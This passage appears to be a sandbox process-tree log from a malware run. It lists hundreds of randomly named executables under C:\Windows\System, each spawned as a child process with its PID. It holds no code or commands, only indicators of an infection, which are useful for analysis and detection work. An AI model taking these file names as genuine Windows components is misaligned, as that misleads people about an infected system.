- C:\Windows\System\VsjLaNE.exe
  C:\Windows\System\VsjLaNE.exe
  2⤵
  PID:5104
- C:\Windows\System\kuuegZd.exe
  C:\Windows\System\kuuegZd.exe
  2⤵
  PID:5156
- C:\Windows\System\vmCsiQY.exe
  C:\Windows\System\vmCsiQY.exe
  2⤵
  PID:5240
- C:\Windows\System\ibMbwDX.exe
  C:\Windows\System\ibMbwDX.exe
  2⤵
  PID:5324
- C:\Windows\System\UdAnIbq.exe
  C:\Windows\System\UdAnIbq.exe
  2⤵
  PID:5432
- C:\Windows\System\EIRTHeC.exe
  C:\Windows\System\EIRTHeC.exe
  2⤵
  PID:5516
- C:\Windows\System\sYNvzGi.exe
  C:\Windows\System\sYNvzGi.exe
  2⤵
  PID:5604
- C:\Windows\System\zbSXlDL.exe
  C:\Windows\System\zbSXlDL.exe
  2⤵
  PID:5676
- C:\Windows\System\tjpBhsR.exe
  C:\Windows\System\tjpBhsR.exe
  2⤵
  PID:6212
- C:\Windows\System\vforkOV.exe
  C:\Windows\System\vforkOV.exe
  2⤵
  PID:6284
- C:\Windows\System\NxTWTMU.exe
  C:\Windows\System\NxTWTMU.exe
  2⤵
  PID:5704
- C:\Windows\System\XxkPdcc.exe
  C:\Windows\System\XxkPdcc.exe
  2⤵
  PID:5744
- C:\Windows\System\uJIovLe.exe
  C:\Windows\System\uJIovLe.exe
  2⤵
  PID:5784
- C:\Windows\System\MSYEhOp.exe
  C:\Windows\System\MSYEhOp.exe
  2⤵
  PID:5848
- C:\Windows\System\nXJIjbG.exe
  C:\Windows\System\nXJIjbG.exe
  2⤵
  PID:5872
- C:\Windows\System\xrsogcr.exe
  C:\Windows\System\xrsogcr.exe
  2⤵
  PID:6392
- C:\Windows\System\onZPJxV.exe
  C:\Windows\System\onZPJxV.exe
  2⤵
  PID:6468
- C:\Windows\System\UIzFDKP.exe
  C:\Windows\System\UIzFDKP.exe
  2⤵
  PID:6540
- C:\Windows\System\CjoHGOj.exe
  C:\Windows\System\CjoHGOj.exe
  2⤵
  PID:5948
- C:\Windows\System\UetHiFI.exe
  C:\Windows\System\UetHiFI.exe
  2⤵
  PID:5988
- C:\Windows\System\GfPcGic.exe
  C:\Windows\System\GfPcGic.exe
  2⤵
  PID:6056
- C:\Windows\System\zcQvmhv.exe
  C:\Windows\System\zcQvmhv.exe
  2⤵
  PID:6096
- C:\Windows\System\xylkmPg.exe
  C:\Windows\System\xylkmPg.exe
  2⤵
  PID:6136
- C:\Windows\System\oDGTkrw.exe
  C:\Windows\System\oDGTkrw.exe
  2⤵
  PID:5252
- C:\Windows\System\kQhxXlu.exe
  C:\Windows\System\kQhxXlu.exe
  2⤵
  PID:5336
- C:\Windows\System\ZvfsldE.exe
  C:\Windows\System\ZvfsldE.exe
  2⤵
  PID:5548
- C:\Windows\System\naVqAgA.exe
  C:\Windows\System\naVqAgA.exe
  2⤵
  PID:5728
- C:\Windows\System\GhpxYRL.exe
  C:\Windows\System\GhpxYRL.exe
  2⤵
  PID:5932
- C:\Windows\System\aJDGVcV.exe
  C:\Windows\System\aJDGVcV.exe
  2⤵
  PID:6116
- C:\Windows\System\RAtKCjm.exe
  C:\Windows\System\RAtKCjm.exe
  2⤵
  PID:5656
- C:\Windows\System\BdnvdTi.exe
  C:\Windows\System\BdnvdTi.exe
  2⤵
  PID:6544
- C:\Windows\System\wIuckVa.exe
  C:\Windows\System\wIuckVa.exe
  2⤵
  PID:6196
- C:\Windows\System\hzXoTzx.exe
  C:\Windows\System\hzXoTzx.exe
  2⤵
  PID:6272
- C:\Windows\System\DGpgWuR.exe
  C:\Windows\System\DGpgWuR.exe
  2⤵
  PID:6344
- C:\Windows\System\xjlkWfF.exe
  C:\Windows\System\xjlkWfF.exe
  2⤵
  PID:6444
- C:\Windows\System\ZRhegpi.exe
  C:\Windows\System\ZRhegpi.exe
  2⤵
  PID:6484
- C:\Windows\System\JVHJDaR.exe
  C:\Windows\System\JVHJDaR.exe
  2⤵
  PID:6568
- C:\Windows\System\lkdaucB.exe
  C:\Windows\System\lkdaucB.exe
  2⤵
  PID:6604
- C:\Windows\System\FgqXdqk.exe
  C:\Windows\System\FgqXdqk.exe
  2⤵
  PID:6524
- C:\Windows\System\JKahqFU.exe
  C:\Windows\System\JKahqFU.exe
  2⤵
  PID:6628
- C:\Windows\System\JSAvbHS.exe
  C:\Windows\System\JSAvbHS.exe
  2⤵
  PID:6664
- C:\Windows\System\dIvyDPd.exe
  C:\Windows\System\dIvyDPd.exe
  2⤵
  PID:6684
- C:\Windows\System\wwHXIwk.exe
  C:\Windows\System\wwHXIwk.exe
  2⤵
  PID:6696
- C:\Windows\System\PDTvVzQ.exe
  C:\Windows\System\PDTvVzQ.exe
  2⤵
  PID:6716
- C:\Windows\System\uzdGAhP.exe
  C:\Windows\System\uzdGAhP.exe
  2⤵
  PID:6720
- C:\Windows\System\YmUsUiq.exe
  C:\Windows\System\YmUsUiq.exe
  2⤵
  PID:6744
- C:\Windows\System\vFtJrYi.exe
  C:\Windows\System\vFtJrYi.exe
  2⤵
  PID:3032
- C:\Windows\System\ozhXjIy.exe
  C:\Windows\System\ozhXjIy.exe
  2⤵
  PID:5068
- C:\Windows\System\YIKVKdK.exe
  C:\Windows\System\YIKVKdK.exe
  2⤵
  PID:6768
- C:\Windows\System\nxvHyTv.exe
  C:\Windows\System\nxvHyTv.exe
  2⤵
  PID:6836
- C:\Windows\System\SwSUxGS.exe
  C:\Windows\System\SwSUxGS.exe
  2⤵
  PID:6792
- C:\Windows\System\ZcpqbgF.exe
  C:\Windows\System\ZcpqbgF.exe
  2⤵
  PID:804
- C:\Windows\System\WXQyRKd.exe
  C:\Windows\System\WXQyRKd.exe
  2⤵
  PID:6824
- C:\Windows\System\FNDfEPY.exe
  C:\Windows\System\FNDfEPY.exe
  2⤵
  PID:6892
- C:\Windows\System\OGSkavh.exe
  C:\Windows\System\OGSkavh.exe
  2⤵
  PID:6992
- C:\Windows\System\pAoBaXl.exe
  C:\Windows\System\pAoBaXl.exe
  2⤵
  PID:7032
- C:\Windows\System\LCkRhkD.exe
  C:\Windows\System\LCkRhkD.exe
  2⤵
  PID:5284
- C:\Windows\System\vtSdhYK.exe
  C:\Windows\System\vtSdhYK.exe
  2⤵
  PID:7048
- C:\Windows\System\qCOpDps.exe
  C:\Windows\System\qCOpDps.exe
  2⤵
  PID:5868
- C:\Windows\System\LQuqeuQ.exe
  C:\Windows\System\LQuqeuQ.exe
  2⤵
  PID:7108
- C:\Windows\System\mWYVzuN.exe
  C:\Windows\System\mWYVzuN.exe
  2⤵
  PID:7124
- C:\Windows\System\UMqzFmo.exe
  C:\Windows\System\UMqzFmo.exe
  2⤵
  PID:7144
- C:\Windows\System\aBfOnLC.exe
  C:\Windows\System\aBfOnLC.exe
  2⤵
  PID:7156
- C:\Windows\System\PoxNkru.exe
  C:\Windows\System\PoxNkru.exe
  2⤵
  PID:6980
- C:\Windows\System\WOQUnoC.exe
  C:\Windows\System\WOQUnoC.exe
  2⤵
  PID:4048
- C:\Windows\System\aVYJxjL.exe
  C:\Windows\System\aVYJxjL.exe
  2⤵
  PID:108
- C:\Windows\System\URjDhJI.exe
  C:\Windows\System\URjDhJI.exe
  2⤵
  PID:2520
- C:\Windows\System\NEFRSaW.exe
  C:\Windows\System\NEFRSaW.exe
  2⤵
  PID:4736
- C:\Windows\System\DwKKMTr.exe
  C:\Windows\System\DwKKMTr.exe
  2⤵
  PID:5232
- C:\Windows\System\vkqulBE.exe
  C:\Windows\System\vkqulBE.exe
  2⤵
  PID:2956
- C:\Windows\System\aocPTfF.exe
  C:\Windows\System\aocPTfF.exe
  2⤵
  PID:5528
- C:\Windows\System\yrCIBNP.exe
  C:\Windows\System\yrCIBNP.exe
  2⤵
  PID:5596
- C:\Windows\System\ajvXjNO.exe
  C:\Windows\System\ajvXjNO.exe
  2⤵
  PID:5668
- C:\Windows\System\BCprXPB.exe
  C:\Windows\System\BCprXPB.exe
  2⤵
  PID:5776
- C:\Windows\System\AhHnZAm.exe
  C:\Windows\System\AhHnZAm.exe
  2⤵
  PID:5712
- C:\Windows\System\ywOZXVP.exe
  C:\Windows\System\ywOZXVP.exe
  2⤵
  PID:6428
- C:\Windows\System\espDCGW.exe
  C:\Windows\System\espDCGW.exe
  2⤵
  PID:5912
- C:\Windows\System\UgShJYH.exe
  C:\Windows\System\UgShJYH.exe
  2⤵
  PID:6024
- C:\Windows\System\dEuPXcL.exe
  C:\Windows\System\dEuPXcL.exe
  2⤵
  PID:5984
- C:\Windows\System\gtLXtgJ.exe
  C:\Windows\System\gtLXtgJ.exe
  2⤵
  PID:2416
- C:\Windows\System\qrvKJLW.exe
  C:\Windows\System\qrvKJLW.exe
  2⤵
  PID:5896
- C:\Windows\System\UOLlheX.exe
  C:\Windows\System\UOLlheX.exe
  2⤵
  PID:2188
- C:\Windows\System\sIOscWO.exe
  C:\Windows\System\sIOscWO.exe
  2⤵
  PID:6200
- C:\Windows\System\OyeTewg.exe
  C:\Windows\System\OyeTewg.exe
  2⤵
  PID:6264
- C:\Windows\System\rynBnBG.exe
  C:\Windows\System\rynBnBG.exe
  2⤵
  PID:6336
- C:\Windows\System\XWWYPjE.exe
  C:\Windows\System\XWWYPjE.exe
  2⤵
  PID:6408
- C:\Windows\System\xwvSiGM.exe
  C:\Windows\System\xwvSiGM.exe
  2⤵
  PID:6452
- C:\Windows\System\QZHeXTj.exe
  C:\Windows\System\QZHeXTj.exe
  2⤵
  PID:6560
- C:\Windows\System\URKcXYN.exe
  C:\Windows\System\URKcXYN.exe
  2⤵
  PID:6668
- C:\Windows\System\JCtgDAo.exe
  C:\Windows\System\JCtgDAo.exe
  2⤵
  PID:6724
- C:\Windows\System\EeqRbzO.exe
  C:\Windows\System\EeqRbzO.exe
  2⤵
  PID:6756
- C:\Windows\System\IUwqZjl.exe
  C:\Windows\System\IUwqZjl.exe
  2⤵
  PID:6924
- C:\Windows\System\oNiTcdp.exe
  C:\Windows\System\oNiTcdp.exe
  2⤵
  PID:1868
- C:\Windows\System\doqEwmX.exe
  C:\Windows\System\doqEwmX.exe
  2⤵
  PID:6640
- C:\Windows\System\mZsEPoY.exe
  C:\Windows\System\mZsEPoY.exe
  2⤵
  PID:6728
- C:\Windows\System\smbSoBg.exe
  C:\Windows\System\smbSoBg.exe
  2⤵
  PID:7024
- C:\Windows\System\JUkTsiw.exe
  C:\Windows\System\JUkTsiw.exe
  2⤵
  PID:6152
- C:\Windows\System\nfGEWLf.exe
  C:\Windows\System\nfGEWLf.exe
  2⤵
  PID:7148
- C:\Windows\System\qkOkNVm.exe
  C:\Windows\System\qkOkNVm.exe
  2⤵
  PID:7012
- C:\Windows\System\MtnKIZi.exe
  C:\Windows\System\MtnKIZi.exe
  2⤵
  PID:7132
- C:\Windows\System\AkpuLLH.exe
  C:\Windows\System\AkpuLLH.exe
  2⤵
  PID:5192
- C:\Windows\System\DylmUzA.exe
  C:\Windows\System\DylmUzA.exe
  2⤵
  PID:6972
- C:\Windows\System\dWQQANP.exe
  C:\Windows\System\dWQQANP.exe
  2⤵
  PID:4948
- C:\Windows\System\DJWMnmQ.exe
  C:\Windows\System\DJWMnmQ.exe
  2⤵
  PID:2648
- C:\Windows\System\HOvpLqC.exe
  C:\Windows\System\HOvpLqC.exe
  2⤵
  PID:5856
- C:\Windows\System\fqIZzRL.exe
  C:\Windows\System\fqIZzRL.exe
  2⤵
  PID:6324
- C:\Windows\System\BRzfVqc.exe
  C:\Windows\System\BRzfVqc.exe
  2⤵
  PID:6252
- C:\Windows\System\TIANvvP.exe
  C:\Windows\System\TIANvvP.exe
  2⤵
  PID:1528
- C:\Windows\System\cEgWVfq.exe
  C:\Windows\System\cEgWVfq.exe
  2⤵
  PID:6500
- C:\Windows\System\NNvwWin.exe
  C:\Windows\System\NNvwWin.exe
  2⤵
  PID:5308
- C:\Windows\System\dKmKQnw.exe
  C:\Windows\System\dKmKQnw.exe
  2⤵
  PID:5900
- C:\Windows\System\PiWOhPH.exe
  C:\Windows\System\PiWOhPH.exe
  2⤵
  PID:6556
- C:\Windows\System\lYwpyjl.exe
  C:\Windows\System\lYwpyjl.exe
  2⤵
  PID:2608
- C:\Windows\System\NfxUXaS.exe
  C:\Windows\System\NfxUXaS.exe
  2⤵
  PID:6648
- C:\Windows\System\fcniXSa.exe
  C:\Windows\System\fcniXSa.exe
  2⤵
  PID:6676
- C:\Windows\System\XMWsUnP.exe
  C:\Windows\System\XMWsUnP.exe
  2⤵
  PID:1316
- C:\Windows\System\PKdJjqo.exe
  C:\Windows\System\PKdJjqo.exe
  2⤵
  PID:7096
- C:\Windows\System\URgSptW.exe
  C:\Windows\System\URgSptW.exe
  2⤵
  PID:7152
- C:\Windows\System\YyKGpow.exe
  C:\Windows\System\YyKGpow.exe
  2⤵
  PID:6784
- C:\Windows\System\IhUiBTZ.exe
  C:\Windows\System\IhUiBTZ.exe
  2⤵
  PID:5376
- C:\Windows\System\QsTLzxt.exe
  C:\Windows\System\QsTLzxt.exe
  2⤵
  PID:6236
- C:\Windows\System\KYknIDk.exe
  C:\Windows\System\KYknIDk.exe
  2⤵
  PID:6608
- C:\Windows\System\sOEQnKl.exe
  C:\Windows\System\sOEQnKl.exe
  2⤵
  PID:2224
- C:\Windows\System\LxEXvyx.exe
  C:\Windows\System\LxEXvyx.exe
  2⤵
  PID:6860
- C:\Windows\System\mlmdVSt.exe
  C:\Windows\System\mlmdVSt.exe
  2⤵
  PID:1264
- C:\Windows\System\EgFkNsz.exe
  C:\Windows\System\EgFkNsz.exe
  2⤵
  PID:7080
- C:\Windows\System\DEEhCRt.exe
  C:\Windows\System\DEEhCRt.exe
  2⤵
  PID:5568
- C:\Windows\System\MDkHuRc.exe
  C:\Windows\System\MDkHuRc.exe
  2⤵
  PID:6292
- C:\Windows\System\OqZUgDi.exe
  C:\Windows\System\OqZUgDi.exe
  2⤵
  PID:5564
- C:\Windows\System\kfLdJiV.exe
  C:\Windows\System\kfLdJiV.exe
  2⤵
  PID:5524
- C:\Windows\System\zhkxgCZ.exe
  C:\Windows\System\zhkxgCZ.exe
  2⤵
  PID:5452
- C:\Windows\System\MoAEWCX.exe
  C:\Windows\System\MoAEWCX.exe
  2⤵
  PID:6960
- C:\Windows\System\FwsxdgS.exe
  C:\Windows\System\FwsxdgS.exe
  2⤵
  PID:5956
- C:\Windows\System\RtaAsQb.exe
  C:\Windows\System\RtaAsQb.exe
  2⤵
  PID:3864
- C:\Windows\System\cQFgAlo.exe
  C:\Windows\System\cQFgAlo.exe
  2⤵
  PID:6412
- C:\Windows\System\QkdYelw.exe
  C:\Windows\System\QkdYelw.exe
  2⤵
  PID:2068
- C:\Windows\System\xEPQZNZ.exe
  C:\Windows\System\xEPQZNZ.exe
  2⤵
  PID:5388
- C:\Windows\System\PECIwKh.exe
  C:\Windows\System\PECIwKh.exe
  2⤵
  PID:6504
- C:\Windows\System\GwRCPTZ.exe
  C:\Windows\System\GwRCPTZ.exe
  2⤵
  PID:4524
- C:\Windows\System\gquDsMZ.exe
  C:\Windows\System\gquDsMZ.exe
  2⤵
  PID:5408
- C:\Windows\System\iWrbiXA.exe
  C:\Windows\System\iWrbiXA.exe
  2⤵
  PID:6944
- C:\Windows\System\eoqNVSC.exe
  C:\Windows\System\eoqNVSC.exe
  2⤵
  PID:7120
- C:\Windows\System\jhJeWze.exe
  C:\Windows\System\jhJeWze.exe
  2⤵
  PID:5636
- C:\Windows\System\MuaadYo.exe
  C:\Windows\System\MuaadYo.exe
  2⤵
  PID:7064
- C:\Windows\System\GqBgtRp.exe
  C:\Windows\System\GqBgtRp.exe
  2⤵
  PID:7076
- C:\Windows\System\UidjZnd.exe
  C:\Windows\System\UidjZnd.exe
  2⤵
  PID:6132
- C:\Windows\System\gLTnDOb.exe
  C:\Windows\System\gLTnDOb.exe
  2⤵
  PID:7092
- C:\Windows\System\kVLgIwc.exe
  C:\Windows\System\kVLgIwc.exe
  2⤵
  PID:6416
- C:\Windows\System\xgNbfSE.exe
  C:\Windows\System\xgNbfSE.exe
  2⤵
  PID:5672
- C:\Windows\System\VaWsgJX.exe
  C:\Windows\System\VaWsgJX.exe
  2⤵
  PID:4852
- C:\Windows\System\JadEoSX.exe
  C:\Windows\System\JadEoSX.exe
  2⤵
  PID:6808
- C:\Windows\System\WpzIbDb.exe
  C:\Windows\System\WpzIbDb.exe
  2⤵
  PID:6820
- C:\Windows\System\fkqSDvG.exe
  C:\Windows\System\fkqSDvG.exe
  2⤵
  PID:6880
- C:\Windows\System\cZMNsAX.exe
  C:\Windows\System\cZMNsAX.exe
  2⤵
  PID:7180
- C:\Windows\System\vPivtuR.exe
  C:\Windows\System\vPivtuR.exe
  2⤵
  PID:7196
- C:\Windows\System\HOMkcbO.exe
  C:\Windows\System\HOMkcbO.exe
  2⤵
  PID:7220
- C:\Windows\System\GJvwRYM.exe
  C:\Windows\System\GJvwRYM.exe
  2⤵
  PID:7240
- C:\Windows\System\mVrQWSY.exe
  C:\Windows\System\mVrQWSY.exe
  2⤵
  PID:7256
- C:\Windows\System\DYdxviB.exe
  C:\Windows\System\DYdxviB.exe
  2⤵
  PID:7276
- C:\Windows\System\WOHjNZE.exe
  C:\Windows\System\WOHjNZE.exe
  2⤵
  PID:7292
- C:\Windows\System\QbMMtcE.exe
  C:\Windows\System\QbMMtcE.exe
  2⤵
  PID:7312
- C:\Windows\System\UvoExVF.exe
  C:\Windows\System\UvoExVF.exe
  2⤵
  PID:7332
- C:\Windows\System\sXhDMhc.exe
  C:\Windows\System\sXhDMhc.exe
  2⤵
  PID:7348
- C:\Windows\System\bVmPhGd.exe
  C:\Windows\System\bVmPhGd.exe
  2⤵
  PID:7368
- C:\Windows\System\qDnMyqM.exe
  C:\Windows\System\qDnMyqM.exe
  2⤵
  PID:7464
- C:\Windows\System\MeBNXJr.exe
  C:\Windows\System\MeBNXJr.exe
  2⤵
  PID:7480
- C:\Windows\System\tsrJUKY.exe
  C:\Windows\System\tsrJUKY.exe
  2⤵
  PID:7500
- C:\Windows\System\ARgpbLC.exe
  C:\Windows\System\ARgpbLC.exe
  2⤵
  PID:7516
- C:\Windows\System\bIttXgX.exe
  C:\Windows\System\bIttXgX.exe
  2⤵
  PID:7532
- C:\Windows\System\qADsRls.exe
  C:\Windows\System\qADsRls.exe
  2⤵
  PID:7548
- C:\Windows\System\bYnelfh.exe
  C:\Windows\System\bYnelfh.exe
  2⤵
  PID:7564
- C:\Windows\System\scLvvlx.exe
  C:\Windows\System\scLvvlx.exe
  2⤵
  PID:7580
- C:\Windows\System\mTtyFSw.exe
  C:\Windows\System\mTtyFSw.exe
  2⤵
  PID:7596
- C:\Windows\System\QVSgsBE.exe
  C:\Windows\System\QVSgsBE.exe
  2⤵
  PID:7620
- C:\Windows\System\PGZjYuh.exe
  C:\Windows\System\PGZjYuh.exe
  2⤵
  PID:7660
- C:\Windows\System\NrKDwgB.exe
  C:\Windows\System\NrKDwgB.exe
  2⤵
  PID:7676
- C:\Windows\System\AVZXCtA.exe
  C:\Windows\System\AVZXCtA.exe
  2⤵
  PID:7692
- C:\Windows\System\AipxOyw.exe
  C:\Windows\System\AipxOyw.exe
  2⤵
  PID:7708
- C:\Windows\System\GtcDaeE.exe
  C:\Windows\System\GtcDaeE.exe
  2⤵
  PID:7728
- C:\Windows\System\ZbVTeUs.exe
  C:\Windows\System\ZbVTeUs.exe
  2⤵
  PID:7748
- C:\Windows\System\tALpfoj.exe
  C:\Windows\System\tALpfoj.exe
  2⤵
  PID:7764
- C:\Windows\System\hQgiebx.exe
  C:\Windows\System\hQgiebx.exe
  2⤵
  PID:7780
- C:\Windows\System\KdsoOkL.exe
  C:\Windows\System\KdsoOkL.exe
  2⤵
  PID:7796
- C:\Windows\System\RUkQAui.exe
  C:\Windows\System\RUkQAui.exe
  2⤵
  PID:7812
- C:\Windows\System\sElEBJR.exe
  C:\Windows\System\sElEBJR.exe
  2⤵
  PID:7832
- C:\Windows\System\OCALaQl.exe
  C:\Windows\System\OCALaQl.exe
  2⤵
  PID:7848
- C:\Windows\System\YJmporv.exe
  C:\Windows\System\YJmporv.exe
  2⤵
  PID:7872
- C:\Windows\System\rFuMVVS.exe
  C:\Windows\System\rFuMVVS.exe
  2⤵
  PID:7888
- C:\Windows\System\zGJfxIs.exe
  C:\Windows\System\zGJfxIs.exe
  2⤵
  PID:7904
- C:\Windows\System\XyPIptj.exe
  C:\Windows\System\XyPIptj.exe
  2⤵
  PID:7920
- C:\Windows\System\YwjxfUs.exe
  C:\Windows\System\YwjxfUs.exe
  2⤵
  PID:7940
- C:\Windows\System\jIpfFKy.exe
  C:\Windows\System\jIpfFKy.exe
  2⤵
  PID:7956
- C:\Windows\System\rjdGWmb.exe
  C:\Windows\System\rjdGWmb.exe
  2⤵
  PID:7972
- C:\Windows\System\KOHCCze.exe
  C:\Windows\System\KOHCCze.exe
  2⤵
  PID:7992
- C:\Windows\System\tLrunnw.exe
  C:\Windows\System\tLrunnw.exe
  2⤵
  PID:8008
- C:\Windows\System\PonPNkQ.exe
  C:\Windows\System\PonPNkQ.exe
  2⤵
  PID:8024
- C:\Windows\System\vfHttnd.exe
  C:\Windows\System\vfHttnd.exe
  2⤵
  PID:8040
- C:\Windows\System\ccZRGyY.exe
  C:\Windows\System\ccZRGyY.exe
  2⤵
  PID:8060
- C:\Windows\System\rECmYoV.exe
  C:\Windows\System\rECmYoV.exe
  2⤵
  PID:8076
- C:\Windows\System\TnfCOmm.exe
  C:\Windows\System\TnfCOmm.exe
  2⤵
  PID:8092
- C:\Windows\System\aTDLnKg.exe
  C:\Windows\System\aTDLnKg.exe
  2⤵
  PID:8108
- C:\Windows\System\KlRVbuL.exe
  C:\Windows\System\KlRVbuL.exe
  2⤵
  PID:8124
- C:\Windows\System\OrGcOWV.exe
  C:\Windows\System\OrGcOWV.exe
  2⤵
  PID:8140
- C:\Windows\System\WYfiHRG.exe
  C:\Windows\System\WYfiHRG.exe
  2⤵
  PID:8156
- C:\Windows\System\GYywFBm.exe
  C:\Windows\System\GYywFBm.exe
  2⤵
  PID:8172
- C:\Windows\System\ONuAFXW.exe
  C:\Windows\System\ONuAFXW.exe
  2⤵
  PID:8188
- C:\Windows\System\xlwKToN.exe
  C:\Windows\System\xlwKToN.exe
  2⤵
  PID:6688
- C:\Windows\System\iAvLWgp.exe
  C:\Windows\System\iAvLWgp.exe
  2⤵
  PID:7208
- C:\Windows\System\lVKkBbB.exe
  C:\Windows\System\lVKkBbB.exe
  2⤵
  PID:7216
- C:\Windows\System\xXHwjXH.exe
  C:\Windows\System\xXHwjXH.exe
  2⤵
  PID:7264
- C:\Windows\System\KXjZByN.exe
  C:\Windows\System\KXjZByN.exe
  2⤵
  PID:7328
- C:\Windows\System\KIiZANa.exe
  C:\Windows\System\KIiZANa.exe
  2⤵
  PID:7364
- C:\Windows\System\qeUxklU.exe
  C:\Windows\System\qeUxklU.exe
  2⤵
  PID:7476
- C:\Windows\System\FjGCmGy.exe
  C:\Windows\System\FjGCmGy.exe
  2⤵
  PID:7400
- C:\Windows\System\OQtPpYV.exe
  C:\Windows\System\OQtPpYV.exe
  2⤵
  PID:7456
- C:\Windows\System\GzaIGSR.exe
  C:\Windows\System\GzaIGSR.exe
  2⤵
  PID:7496
- C:\Windows\System\QYSujhE.exe
  C:\Windows\System\QYSujhE.exe
  2⤵
  PID:7424
- C:\Windows\System\QIoTuhF.exe
  C:\Windows\System\QIoTuhF.exe
  2⤵
  PID:7444
- C:\Windows\System\IKRAAxF.exe
  C:\Windows\System\IKRAAxF.exe
  2⤵
  PID:7576
- C:\Windows\System\JdluGUK.exe
  C:\Windows\System\JdluGUK.exe
  2⤵
  PID:7616
- C:\Windows\System\oNguUlH.exe
  C:\Windows\System\oNguUlH.exe
  2⤵
  PID:7632
- C:\Windows\System\KgSYsxG.exe
  C:\Windows\System\KgSYsxG.exe
  2⤵
  PID:7644
- C:\Windows\System\sPwPNSm.exe
  C:\Windows\System\sPwPNSm.exe
  2⤵
  PID:7688
- C:\Windows\System\CDObelN.exe
  C:\Windows\System\CDObelN.exe
  2⤵
  PID:7756
- C:\Windows\System\VnwHOLF.exe
  C:\Windows\System\VnwHOLF.exe
  2⤵
  PID:7820
- C:\Windows\System\sPrphMl.exe
  C:\Windows\System\sPrphMl.exe
  2⤵
  PID:7860
- C:\Windows\System\dUYRomD.exe
  C:\Windows\System\dUYRomD.exe
  2⤵
  PID:7900
- C:\Windows\System\iRyQdJn.exe
  C:\Windows\System\iRyQdJn.exe
  2⤵
  PID:7948
- C:\Windows\System\eojjJbU.exe
  C:\Windows\System\eojjJbU.exe
  2⤵
  PID:7268
- C:\Windows\System\tJffTYK.exe
  C:\Windows\System\tJffTYK.exe
  2⤵
  PID:7472
- C:\Windows\System\iXGlfLF.exe
  C:\Windows\System\iXGlfLF.exe
  2⤵
  PID:7412
- C:\Windows\System\KECUDmN.exe
  C:\Windows\System\KECUDmN.exe
  2⤵
  PID:7896
- C:\Windows\System\sZKEJKI.exe
  C:\Windows\System\sZKEJKI.exe
  2⤵
  PID:7344
- C:\Windows\System\MFarCPo.exe
  C:\Windows\System\MFarCPo.exe
  2⤵
  PID:7672
- C:\Windows\System\EUSaxYZ.exe
  C:\Windows\System\EUSaxYZ.exe
  2⤵
  PID:7744
- C:\Windows\System\lXfvLnC.exe
  C:\Windows\System\lXfvLnC.exe
  2⤵
  PID:7988
- C:\Windows\System\hbvZuwv.exe
  C:\Windows\System\hbvZuwv.exe
  2⤵
  PID:7884
- C:\Windows\System\leRWekR.exe
  C:\Windows\System\leRWekR.exe
  2⤵
  PID:8164
- C:\Windows\System\IOFITWg.exe
  C:\Windows\System\IOFITWg.exe
  2⤵
  PID:8120
- C:\Windows\System\pMONmmB.exe
  C:\Windows\System\pMONmmB.exe
  2⤵
  PID:7176
- C:\Windows\System\SYHUXkd.exe
  C:\Windows\System\SYHUXkd.exe
  2⤵
  PID:7392
- C:\Windows\System\DQASkRa.exe
  C:\Windows\System\DQASkRa.exe
  2⤵
  PID:7396
- C:\Windows\System\XiUubXQ.exe
  C:\Windows\System\XiUubXQ.exe
  2⤵
  PID:7588
- C:\Windows\System\aOOqxoK.exe
  C:\Windows\System\aOOqxoK.exe
  2⤵
  PID:7792
- C:\Windows\System\UAUucoh.exe
  C:\Windows\System\UAUucoh.exe
  2⤵
  PID:7556
- C:\Windows\System\wBqvtId.exe
  C:\Windows\System\wBqvtId.exe
  2⤵
  PID:7492
- C:\Windows\System\wwiKsxs.exe
  C:\Windows\System\wwiKsxs.exe
  2⤵
  PID:7612
- C:\Windows\System\qRyoflJ.exe
  C:\Windows\System\qRyoflJ.exe
  2⤵
  PID:2780
- C:\Windows\System\uxwzRfF.exe
  C:\Windows\System\uxwzRfF.exe
  2⤵
  PID:7608
- C:\Windows\System\ygbpYMZ.exe
  C:\Windows\System\ygbpYMZ.exe
  2⤵
  PID:7932
- C:\Windows\System\oxijKxZ.exe
  C:\Windows\System\oxijKxZ.exe
  2⤵
  PID:344
- C:\Windows\System\DAhlDry.exe
  C:\Windows\System\DAhlDry.exe
  2⤵
  PID:8068
- C:\Windows\System\vhozFSA.exe
  C:\Windows\System\vhozFSA.exe
  2⤵
  PID:1800
- C:\Windows\System\ZDGdWBe.exe
  C:\Windows\System\ZDGdWBe.exe
  2⤵
  PID:7916
- C:\Windows\System\UWKqLEt.exe
  C:\Windows\System\UWKqLEt.exe
  2⤵
  PID:8048
- C:\Windows\System\HetnHwU.exe
  C:\Windows\System\HetnHwU.exe
  2⤵
  PID:8136
- C:\Windows\System\FQlXKxe.exe
  C:\Windows\System\FQlXKxe.exe
  2⤵
  PID:8116
- C:\Windows\System\xOtViTE.exe
  C:\Windows\System\xOtViTE.exe
  2⤵
  PID:2272
- C:\Windows\System\nAsapwI.exe
  C:\Windows\System\nAsapwI.exe
  2⤵
  PID:7376
- C:\Windows\System\yKYyfIP.exe
  C:\Windows\System\yKYyfIP.exe
  2⤵
  PID:7512
- C:\Windows\System\uszYMUh.exe
  C:\Windows\System\uszYMUh.exe
  2⤵
  PID:2336
- C:\Windows\System\RLBIlmW.exe
  C:\Windows\System\RLBIlmW.exe
  2⤵
  PID:1156
- C:\Windows\System\hQFbeCx.exe
  C:\Windows\System\hQFbeCx.exe
  2⤵
  PID:7652
- C:\Windows\System\NjmBpmt.exe
  C:\Windows\System\NjmBpmt.exe
  2⤵
  PID:8000
- C:\Windows\System\ZHdLIQV.exe
  C:\Windows\System\ZHdLIQV.exe
  2⤵
  PID:8004
- C:\Windows\System\vIrwIgG.exe
  C:\Windows\System\vIrwIgG.exe
  2⤵
  PID:7776
- C:\Windows\System\JalRsPX.exe
  C:\Windows\System\JalRsPX.exe
  2⤵
  PID:8088
- C:\Windows\System\eFXdiFH.exe
  C:\Windows\System\eFXdiFH.exe
  2⤵
  PID:7460
- C:\Windows\System\kEtNqAn.exe
  C:\Windows\System\kEtNqAn.exe
  2⤵
  PID:7432
- C:\Windows\System\DplKViP.exe
  C:\Windows\System\DplKViP.exe
  2⤵
  PID:7232
- C:\Windows\System\PbYaLfn.exe
  C:\Windows\System\PbYaLfn.exe
  2⤵
  PID:7436
- C:\Windows\System\RfqyGQO.exe
  C:\Windows\System\RfqyGQO.exe
  2⤵
  PID:632
- C:\Windows\System\VWnXbvc.exe
  C:\Windows\System\VWnXbvc.exe
  2⤵
  PID:7880
- C:\Windows\System\CsKefBk.exe
  C:\Windows\System\CsKefBk.exe
  2⤵
  PID:7840
- C:\Windows\System\ZjGPCRM.exe
  C:\Windows\System\ZjGPCRM.exe
  2⤵
  PID:1236
- C:\Windows\System\YnbcPVg.exe
  C:\Windows\System\YnbcPVg.exe
